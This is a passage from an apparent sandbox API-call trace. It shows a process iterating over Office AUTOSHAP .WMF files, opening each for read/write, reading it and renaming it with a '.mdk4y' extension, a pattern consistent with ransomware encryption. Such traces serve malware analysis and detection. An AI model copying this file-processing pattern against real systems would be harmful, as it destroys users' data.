lpOverlapped=0x0) returned 1 [0182.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825761100000) returned 1 [0182.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825761100000) returned 1 [0182.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf.mdk4y")) returned 1 [0182.383] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.383] AreFileApisANSI () returned 1 [0182.383] GetACP () returned 0x4e4 [0182.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18217_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18217_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.383] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825761400000) returned 1 [0182.384] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1552, lpOverlapped=0x0) returned 1 [0182.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825765000000) returned 1 [0182.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825765000000) returned 1 [0182.420] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf.mdk4y")) returned 1 [0182.422] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.422] AreFileApisANSI () returned 1 [0182.422] GetACP () returned 0x4e4 [0182.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18218_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18218_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.422] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825765400000) returned 1 [0182.424] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1212, lpOverlapped=0x0) returned 1 [0182.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825771000000) returned 1 [0182.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825771000000) returned 1 [0182.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf.mdk4y")) returned 1 [0182.481] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.481] AreFileApisANSI () returned 1 [0182.481] GetACP () returned 0x4e4 [0182.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18219_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18219_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825771200000) returned 1 [0182.483] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1136, lpOverlapped=0x0) returned 1 [0182.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825773800000) returned 1 [0182.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825773800000) returned 1 [0182.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf.mdk4y")) returned 1 [0182.509] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.509] AreFileApisANSI () returned 1 [0182.509] GetACP () returned 0x4e4 [0182.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18220_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18220_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.509] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825774100000) returned 1 [0182.511] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x213c, lpOverlapped=0x0) returned 1 [0182.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825775800000) returned 1 [0182.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825775800000) returned 1 [0182.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf.mdk4y")) returned 1 [0182.530] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.530] AreFileApisANSI () returned 1 [0182.530] GetACP () returned 0x4e4 [0182.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18221_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18221_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.530] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825776100000) returned 1 [0182.531] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x72c, lpOverlapped=0x0) returned 1 [0182.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825776400000) returned 1 [0182.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825776400000) returned 1 [0182.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf.mdk4y")) returned 1 [0182.535] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.535] AreFileApisANSI () returned 1 [0182.535] GetACP () returned 0x4e4 [0182.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18222_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18222_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.535] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825776500000) returned 1 [0182.535] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x756, lpOverlapped=0x0) returned 1 [0182.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825778500000) returned 1 [0182.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825778500000) returned 1 [0182.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf.mdk4y")) returned 1 [0182.556] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.556] AreFileApisANSI () returned 1 [0182.556] GetACP () returned 0x4e4 [0182.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18223_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18223_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.556] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825778600000) returned 1 [0182.556] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc5a, lpOverlapped=0x0) returned 1 [0182.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825778800000) returned 1 [0182.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825778800000) returned 1 [0182.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf.mdk4y")) returned 1 [0182.558] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.558] AreFileApisANSI () returned 1 [0182.558] GetACP () returned 0x4e4 [0182.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18224_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18224_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825778900000) returned 1 [0182.559] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x680, lpOverlapped=0x0) returned 1 [0182.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825779000000) returned 1 [0182.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825779000000) returned 1 [0182.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf.mdk4y")) returned 1 [0182.561] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.561] AreFileApisANSI () returned 1 [0182.561] GetACP () returned 0x4e4 [0182.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18225_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18225_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.561] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825779300000) returned 1 [0182.563] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd10, lpOverlapped=0x0) returned 1 [0182.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825779400000) returned 1 [0182.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825779400000) returned 1 [0182.564] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf.mdk4y")) returned 1 [0182.565] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.565] AreFileApisANSI () returned 1 [0182.565] GetACP () returned 0x4e4 [0182.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18226_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18226_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.565] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825779500000) returned 1 [0182.565] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7b4, lpOverlapped=0x0) returned 1 [0182.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825780700000) returned 1 [0182.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825780700000) returned 1 [0182.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf.mdk4y")) returned 1 [0182.578] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.578] AreFileApisANSI () returned 1 [0182.578] GetACP () returned 0x4e4 [0182.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18227_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18227_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.578] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825780900000) returned 1 [0182.579] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdec, lpOverlapped=0x0) returned 1 [0182.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825781100000) returned 1 [0182.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825781100000) returned 1 [0182.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf.mdk4y")) returned 1 [0182.582] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.582] AreFileApisANSI () returned 1 [0182.582] GetACP () returned 0x4e4 [0182.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18228_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18228_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825781200000) returned 1 [0182.583] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x884, lpOverlapped=0x0) returned 1 [0182.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825782300000) returned 1 [0182.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825782300000) returned 1 [0182.593] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf.mdk4y")) returned 1 [0182.594] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.594] AreFileApisANSI () returned 1 [0182.594] GetACP () returned 0x4e4 [0182.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18229_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18229_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.594] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825782500000) returned 1 [0182.595] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7e4, lpOverlapped=0x0) returned 1 [0182.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825782800000) returned 1 [0182.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825782900000) returned 1 [0182.599] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf.mdk4y")) returned 1 [0182.600] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.600] AreFileApisANSI () returned 1 [0182.600] GetACP () returned 0x4e4 [0182.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18230_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18230_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.600] QueryPerformanceCounter 